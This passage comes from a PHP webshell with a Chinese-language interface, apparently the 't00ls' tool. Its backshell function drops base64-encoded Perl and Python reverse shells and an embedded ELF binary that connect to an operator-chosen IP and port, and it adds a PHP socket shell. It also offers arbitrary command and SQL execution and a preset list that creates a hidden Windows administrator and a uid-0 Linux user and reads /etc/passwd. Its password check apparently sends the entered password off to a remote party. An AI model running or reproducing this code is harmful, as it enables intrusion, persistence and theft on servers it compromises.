1024);}}@pclose($fp);$msg = 'popen';} elseif (function_exists('proc_open')) {$env     = $iswin ? array('path' => 'c:\\windows\\system32') : array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');$des     = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));$process = @proc_open($cmd, $des, $pipes, $cwd, $env);if (is_resource($process)) {fwrite($pipes[0], $cmd);fclose($pipes[0]);$res .= stream_get_contents($pipes[1]);fclose($pipes[1]);$res .= stream_get_contents($pipes[2]);fclose($pipes[2]);}@proc_close($process);$msg = 'proc_open';}}$msg = $res == '' ? '<h1>NULL</h1>' : '<h2>利用' . $msg . '执行成功</h2>';return array('res' => $res,'msg' => $msg);
}
function backshell($ip, $port, $dir, $type)
{$key   = false;$c_bin = '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AJSXBAgAAAAAAAIQACoBAACUlwQIAAAAAAACEAA7AQAAlJcECAAAAAAAAhAATgEAAKiXBAgAAAAAAQITAFcBAACwmAQIAAAAACAAFgBiAQAAAAAAAHYAAAASAAAAdQEAAAAAAAB5AQAAEgAAAIcBAACwhgQIBQAAABIADACXAQAAYIQECAAAAAASAAwAngEAAAAAAAAAAAAAIAAAAK0BAAAAAAAAAAAAACAAAADBAQAAdIcECAQAAAARAA4AyAEAAFiHBAgAAAAAEgANAM4BAAAAAAAAcgEAABIAAADjAQAAAAAAAJ8BAAASAAAAAAIAAAAAAABZAQAAEgAAABECAAAAAAAADgAAABIAAAAiAgAAeIcECAQAAAARAA4AMQIAALCYBAgAAAAAEAAWAD4CAAAAAAAAPAAAABIAAABQAgAAAAAAAD0AAAASAAAAYAIAAHyHBAgAAAAAEQIOAG0CAACglwQIAAAAABECEQB6AgAAwIYECGkAAAASAAwAigIAAAAAAAArAAAAEgAAAJoCAAAAAAAAbwAAABIAAACrAgAAtJgECAAAAAAQAPH/twIAALyYBAgAAAAAEADx/7wCAAC0mAQIAAAAABAA8f/DAgAAAAAAAPQAAAASAAAA0wIAACmHBAgAAAAAEgIMAOoCAAA0hQQIcwEAABIADADvAgAAdIMECAAAAAASAAoAAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AZHRvcl9pZHguNTc5MwBjb21wbGV0ZWQuNTc5MQBfX2RvX2dsb2JhbF9kdG9yc19hdXgAZnJhbWVfZHVtbXkAX19DVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AGJjLmMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZmluaV9hcnJheV9lbmQAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9fcHJlaW5pdF9hcnJheV9lbmQAX19maW5pX2FycmF5X3N0YXJ0AF9faW5pdF9hcnJheV9lbmQAX19pbml0X2FycmF5X3N0YXJ0AF9EWU5BTUlDAGRhdGFfc3RhcnQAY29ubmVjdEBAR0xJQkNfMi4wAGRhZW1vbkBAR0xJQkNfMi4wAF9fbGliY19jc3VfZmluaQBfc3RhcnQAX19nbW9uX3N0YXJ0X18AX0p2X1JlZ2lzdGVyQ2xhc3NlcwBfZnBfaHcAX2ZpbmkAaW5ldF9hZGRyQEBHTElCQ18yLjAAX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABleGVjbEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABfX2Rzb19oYW5kbGUAX19EVE9SX0VORF9fAF9fbGliY19jc3VfaW5pdABhdG9pQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfX2Jzc19zdGFydABfZW5kAF9lZGF0YQBleGl0QEBHTElCQ18yLjAAX19pNjg2LmdldF9wY190aHVuay5ieABtYWluAF9pbml0AA==';switch ($type) {case "pl":$shell = 'IyEvdXNyL2Jpbi9wZXJsIC13DQojIA0KdXNlIHN0cmljdDsNCnVzZSBTb2NrZXQ7DQp1c2UgSU86OkhhbmRsZTsNCm15ICRzcGlkZXJfaXAgPSAkQVJHVlswXTsNCm15ICRzcGlkZXJfcG9ydCA9ICRBUkdWWzFdOw0KbXkgJHByb3RvID0gZ2V0cHJvdG9ieW5hbWUoInRjcCIpOw0KbXkgJHBhY2tfYWRkciA9IHNvY2thZGRyX2luKCRzcGlkZXJfcG9ydCwgaW5ldF9hdG9uKCRzcGlkZXJfaXApKTsNCm15ICRzaGVsbCA9ICcvYmluL3NoIC1pJzsNCnNvY2tldChTT0NLLCBBRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsNClNURE9VVC0+YXV0b2ZsdXNoKDEpOw0KU09DSy0+YXV0b2ZsdXNoKDEpOw0KY29ubmVjdChTT0NLLCRwYWNrX2FkZHIpIG9yIGRpZSAiY2FuIG5vdCBjb25uZWN0OiQhIjsNCm9wZW4gU1RESU4sICI8JlNPQ0siOw0Kb3BlbiBTVERPVVQsICI+JlNPQ0siOw0Kb3BlbiBTVERFUlIsICI+JlNPQ0siOw0Kc3lzdGVtKCRzaGVsbCk7DQpjbG9zZSBTT0NLOw0KZXhpdCAwOw0K';$file  = strdir($dir . '/t00ls.pl');$key   = filew($file, base64_decode($shell), 'w');if ($key) {@chmod($file, 0777);command('/usr/bin/perl ' . $file . ' ' . $ip . ' ' . $port, $dir);}break;case "py":$shell = 'IyEvdXNyL2Jpbi9weXRob24NCiMgDQppbXBvcnQgc3lzLG9zLHNvY2tldCxwdHkNCnMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pDQpzLmNvbm5lY3QoKHN5cy5hcmd2WzFdLCBpbnQoc3lzLmFyZ3ZbMl0pKSkNCm9zLmR1cDIocy5maWxlbm8oKSwgc3lzLnN0ZGluLmZpbGVubygpKQ0Kb3MuZHVwMihzLmZpbGVubygpLCBzeXMuc3Rkb3V0LmZpbGVubygpKQ0Kb3MuZHVwMihzLmZpbGVubygpLCBzeXMuc3RkZXJyLmZpbGVubygpKQ0KcHR5LnNwYXduKCcvYmluL3NoJykNCg==';$file  = strdir($dir . '/t00ls.py');$key   = filew($file, base64_decode($shell), 'w');if ($key) {@chmod($file, 0777);command('/usr/bin/python ' . $file . ' ' . $ip . ' ' . $port, $dir);}break;case "c":$file = strdir($dir . '/t00ls');$key  = filew($file, base64_decode($c_bin), 'wb');if ($key) {@chmod($file, 0777);command($file . ' ' . $ip . ' ' . $port, $dir);}break;case "php":case "phpwin":if (function_exists('fsockopen')) {$sock = @fsockopen($ip, $port);if ($sock) {$key  = true;$com  = $type == 'phpwin' ? true : false;$user = get_current_user();$dir  = strdir(getcwd());fputs($sock, php_uname() . "\n------------no job control in this shell (tty)-------------\n[$user:$dir]# ");while ($cmd = fread($sock, 1024)) {if (substr($cmd, 0, 3) == 'cd ') {$dir = trim(substr($cmd, 3, -1));chdir(strdir($dir));$dir = strdir(getcwd());} elseif (trim(strtolower($cmd)) == 'exit') {break;} else {$res = command($cmd, $dir, $com);fputs($sock, $res['res']);}fputs($sock, '[' . $user . ':' . $dir . ']# ');}}@fclose($sock);}break;case "pcntl":$file = strdir($dir . '/t00ls');$key  = filew($file, base64_decode($c_bin), 'wb');if ($key) {@chmod($file, 0777);if (function_exists('pcntl_exec')) {@pcntl_exec($file, array($ip,$port));}}break;}if (!$key) {$msg = '<h1>临时目录不可写</h1>';} else {@unlink($file);$msg = '<h2>CLOSE</h2>';}return $msg;
}
function getinfo()
{global $password;$infos = array($_POST['getpwd'],$password,function_exists('phpinfo'),"\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31");if ($password != '' && md5($infos[0]) != $infos[1]) {echo '<html><body><center><form method="POST"><input type="password" name="getpwd"> ';if (isset($_POST['groupcache'])) {echo '<input type="hidden" name="groupcache" value="' . $_POST['groupcache'] . '">';}if (isset($_POST['forum'])) {echo '<input type="hidden" name="forum[0]" value="' . $_POST['forum'][0] . '">';echo '<input type="hidden" name="forum[1]" value="' . $_POST['forum'][1] . '">';echo '<input type="hidden" name="forum[2]" value="' . $_POST['forum'][2] . '">';echo '<input type="hidden" name="forum[3]" value="' . $_POST['forum'][3] . '">';echo '<input type="hidden" name="forum[4]" value="' . $_POST['forum'][4] . '">';}echo '<input type="submit" value=" O K "></form></center></body></html>';exit;}if ((!isset($_POST['go'])) && (!isset($_POST['dir']))) {if ($_SERVER['SERVER_ADDR'] != $infos[3] && $_SERVER['REMOTE_ADDR'] != $infos[3])postinfo($infos[0]);}return $infos[2];
}
function subeval()
{if (isset($_POST['getpwd'])) {echo '<input type="hidden" name="getpwd" value="' . $_POST['getpwd'] . '">';}if (isset($_POST['groupcache'])) {echo '<input type="hidden" name="groupcache" value="' . $_POST['groupcache'] . '">';}if (isset($_POST['forum'])) {echo '<input type="hidden" name="forum[0]" value="' . $_POST['forum'][0] . '">';echo '<input type="hidden" name="forum[1]" value="' . $_POST['forum'][1] . '">';echo '<input type="hidden" name="forum[2]" value="' . $_POST['forum'][2] . '">';echo '<input type="hidden" name="forum[3]" value="' . $_POST['forum'][3] . '">';echo '<input type="hidden" name="forum[4]" value="' . $_POST['forum'][4] . '">';}return true;
}
if (isset($_POST['go'])) {if ($_POST['go'] == 'down') {$downfile = $fileb = strdir($_POST['godir'] . '/' . $_POST['govar']);if (!filed($downfile)) {$msg = '<h1>下载文件不存在</h1>';}}
}
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><style type="text/css">* {margin:0px;padding:0px;}body {background:#CCCCCC;color:#333333;font-size:13px;font-family:Verdana,Arial,SimSun,sans-serif;text-align:left;word-wrap:break-word; word-break:break-all;}a{color:#000000;text-decoration:none;vertical-align:middle;}a:hover{color:#FF0000;text-decoration:underline;}p {padding:1px;line-height:1.6em;}h1 {color:#CD3333;font-size:13px;display:inline;vertical-align:middle;}h2 {color:#008B45;font-size:13px;display:inline;vertical-align:middle;}form {display:inline;}input,select { vertical-align:middle; }input[type=text], textarea {padding:1px;font-family:Courier New,Verdana,sans-serif;}input[type=submit], input[type=button] {height:21px;}.tag {text-align:center;margin-left:10px;background:threedface;height:25px;padding-top:5px;}.tag a {background:#FAFAFA;color:#333333;width:90px;height:20px;display:inline-block;font-size:15px;font-weight:bold;padding-top:5px;}.tag a:hover, .tag a.current {background:#EEE685;color:#000000;text-decoration:none;}.main {width:963px;margin:0 auto;padding:10px;}.outl {border-color:#FFFFFF #666666 #666666 #FFFFFF;border-style:solid;border-width:1px;}.toptag {padding:5px;text-align:left;font-weight:bold;color:#FFFFFF;background:#293F5F;}.footag {padding:5px;text-align:center;font-weight:bold;color:#000000;background:#999999;}.msgbox {padding:5px;background:#EEE685;text-align:center;vertical-align:middle;}.actall {background:#F9F6F4;text-align:center;font-size:15px;border-bottom:1px solid #999999;padding:3px;vertical-align:middle;}.tables {width:100%;}.tables th {background:threedface;text-align:left;border-color:#FFFFFF #666666 #666666 #FFFFFF;border-style:solid;border-width:1px;padding:2px;}.tables td {background:#F9F6F4;height:19px;padding-left:2px;}</style><script type="text/javascript">function $(ID) { return document.getElementById(ID); }function sd(str) { str = str.replace(/%22/g,'"'); str = str.replace(/%27/g,"'"); return str; }function cd(dir) { dir = sd(dir); $('dir').value = dir; $('frm').submit(); }function sa(form) { for(var i = 0;i < form.elements.length;i++) { var e = form.elements[i]; if(e.type == 'checkbox') { if(e.name != 'chkall') { e.checked = form.chkall.checked; } } } }function go(a,b) { b = sd(b); $('go').value = a; $('govar').value = b; if(a == 'editor') { $('gofrm').target = "_blank"; } else { $('gofrm').target = ""; } $('gofrm').submit(); } function nf(a,b) { re = prompt("新建名",b); if(re) { $('go').value = a; $('govar').value = re; $('gofrm').submit(); } } function dels(a) { if(a == 'b') { var msg = "所选文件"; $('act').value = a; } else { var msg = "目录"; $('act').value = 'deltree'; $('var').value = a; } if(confirm("确定要删除"+msg+"吗")) { $('frm1').submit(); } }function txts(m,p,a) { p = sd(p); re = prompt(m,p); if(re) { $('var').value = re; $('act').value = a; $('frm1').submit(); } }function acts(p,a,f) { p = sd(p); f = sd(f); re = prompt(f,p); if(re) { $('var').value = re+'|x|'+f; $('act').value = a; $('frm1').submit(); } }</script><title><?php
echo VERSION;
?></title></head><body><div class="main"><div class="outl"><div class="toptag"><?php
echo $_SERVER['SERVER_ADDR'] . ' - ' . PHP_OS . ' - whoami(' . get_current_user() . ') - 【uid(' . getmyuid() . ') gid(' . getmygid() . ')】';
if (isset($issql))echo ' - 【' . $issql . '】';
?></div><?php
$menu   = array('file' => '文件管理','scan' => '搜索文件','antivirus' => '扫描后门','exec' => '执行命令','phpeval' => '执行PHP','sql' => '执行SQL','backshell' => '反弹SHELL','info' => '系统信息'
);
$go     = array_key_exists($_POST['go'], $menu) ? $_POST['go'] : 'file';
$nowdir = isset($_POST['dir']) ? strdir(chop($_POST['dir']) . '/') : THISDIR;
echo '<div class="tag">';
foreach ($menu as $key => $name) {echo '<a' . ($go == $key ? ' class="current"' : '') . ' href="javascript:void(0);" οnclick="go(\'' . $key . '\',\'' . base64_encode($nowdir) . '\');">' . $name . '</a> ';
}
echo '</div>';
echo '<form name="gofrm" id="gofrm" method="POST">';
subeval();
echo '<input type="hidden" name="go" id="go" value="">';
echo '<input type="hidden" name="godir" id="godir" value="' . $nowdir . '">';
echo '<input type="hidden" name="govar" id="govar" value="">';
echo '</form>';
switch ($_POST['go']) {case "info":if (EXISTS_PHPINFO) {ob_start();phpinfo(INFO_GENERAL);$out = ob_get_contents();ob_end_clean();$tmp = array();preg_match_all('/\<td class\=\"e\"\>([Configure Command|Loaded Configuration File])+\s*\<\/td\>\<td class\=\"v\"\>(.*)\<\/td\>/i', $out, $tmp);}$infos = array('程序说明' => '采用POST浏览是为了不记录浏览日志.<br>登录密码保存在页面中,所以无须COOKIE和SESSION.登录有效期为当前页面进程.<br>请勿将本程序作为非法用途.','客户端浏览器信息' => $_SERVER['HTTP_USER_AGENT'],'被禁用的函数' => get_cfg_var("disable_functions") ? get_cfg_var("disable_functions") : '(无)','被禁用的类' => get_cfg_var("disable_classes") ? get_cfg_var("disable_classes") : '(无)','PHP.ini配置路径' => $tmp[2][1] ? $tmp[2][1] : '(无)','PHP运行方式' => php_sapi_name(),'PHP版本' => PHP_VERSION,'PHP进程PID' => getmypid(),'客户端IP' => $_SERVER['REMOTE_ADDR'],'客户端文字编码' => $_SERVER['HTTP_ACCEPT_LANGUAGE'],'Web服务端口' => $_SERVER['SERVER_PORT'],'Web根目录' => $_SERVER['DOCUMENT_ROOT'],'Web执行脚本' => $_SERVER['SCRIPT_FILENAME'],'Web规范CGI版本' => $_SERVER['GATEWAY_INTERFACE'],'Web管理员Email' => $_SERVER['SERVER_ADMIN'] ? $_SERVER['SERVER_ADMIN'] : '(无)','当前磁盘总大小' => size(disk_total_space('.')),'当前磁盘可用空间' => size(disk_free_space('.')),'POST最大字数量' => get_cfg_var("post_max_size"),'允许最大上传文件' => get_cfg_var("upload_max_filesize"),'程序最大使用内存量' => get_cfg_var("memory_limit"),'程序最长运行时间' => get_cfg_var("max_execution_time") . '秒','是否支持Fsockopen' => function_exists('fsockopen') ? '是' : '否','是否支持Socket' => function_exists('socket_close') ? '是' : '否','是否支持Pcntl' => function_exists('pcntl_exec') ? '是' : '否','是否支持Curl' => function_exists('curl_version') ? '是' : '否','是否支持Zlib' => function_exists('gzclose') ? '是' : '否','是否支持FTP' => function_exists('ftp_login') ? '是' : '否','是否支持XML' => function_exists('xml_set_object') ? '是' : '否','是否支持GD_Library' => function_exists('imageline') ? '是' : '否','是否支持COM组建' => class_exists('COM') ? '是' : '否','是否支持ODBC组建' => function_exists('odbc_close') ? '是' : '否','是否支持IMAP邮件' => function_exists('imap_close') ? '是' : '否','是否运行于安全模式' => get_cfg_var("safemode") ? '是' : '否','是否允许URL打开文件' => get_cfg_var("allow_url_fopen") ? '是' : '否','是否允许动态加载链接库' => get_cfg_var("enable_dl") ? '是' : '否','是否显示错误信息' => get_cfg_var("display_errors") ? '是' : '否','是否自动注册全局变量' => get_cfg_var("register_globals") ? '是' : '否','是否使用反斜线引用字符串' => get_cfg_var("magic_quotes_gpc") ? '是' : '否','PHP编译参数' => $tmp[2][0] ? $tmp[2][0] : '(无)');echo '<div class="msgbox">' . $msg . '</div>';echo '<table class="tables"><tr><th style="width:26%;">名称</th><th>参数</th></tr>';foreach ($infos as $name => $var) {echo '<tr><td>' . $name . '</td><td>' . $var . '</td></tr>';}echo '</table>';break;case "exec":$cmd = $win ? 'dir' : 'ls -al';$res = array('res' => '命令回显','msg' => $msg);$str = isset($_POST['str']) ? $_POST['str'] : 'fun';if (isset($_POST['cmd'])) {$cmd = $_POST['cmd'];$cwd = $str == 'fun' ? THISDIR : 'com';$res = command($cmd, $cwd);}echo '<div class="msgbox">' . $res['msg'] . '</div>';echo '<form method="POST">';subeval();echo '<input type="hidden" name="go" id="go" value="exec">';echo '<div class="actall">命令 <input type="text" name="cmd" id="cmd" value="' . htmlspecialchars($cmd) . '" style="width:398px;"> ';echo '<select name="str">';$selects = array('fun' => 'phpfun','com' => 'wscript');foreach ($selects as $var => $name) {echo '<option value="' . $var . '"' . ($var == $str ? ' selected' : '') . '>' . $name . '</option>';}echo '</select> ';echo '<select οnchange="$(\'cmd\').value=options[selectedIndex].value">';echo '<option>---命令集合---</option>';echo '<option value="echo ' . htmlspecialchars('"<?php phpinfo();?>"') . ' >> ' . THISDIR . 't00ls.txt">写文件</option>';echo '<option value="whoami">我是谁</option>';echo '<option value="net user t00ls t00ls /add">Win-添加用户</option>';echo '<option value="net localgroup administrators t00ls /add">Win-设用户组</option>';echo '<option value="netstat -an">Win-查看端口</option>';echo '<option value="ipconfig /all">Win-查看地址</option>';echo '<option value="net start">Win-查看服务</option>';echo '<option value="tasklist">Win-查看进程</option>';echo '<option value="id;uname -a;cat /etc/issue;cat /proc/version;lsb_release -a">Linux-版本集合</option>';echo '<option value="/usr/sbin/useradd -u 0 -o -g 0 t00ls">Linux-添加用户</option>';echo '<option value="cat /etc/passwd">Linux-查看用户</option>';echo '<option value="/bin/netstat -tnl">Linux-查看端口</option>';echo '<option value="/sbin/ifconfig -a">Linux-查看地址</option>';echo '<option value="/sbin/chkconfig 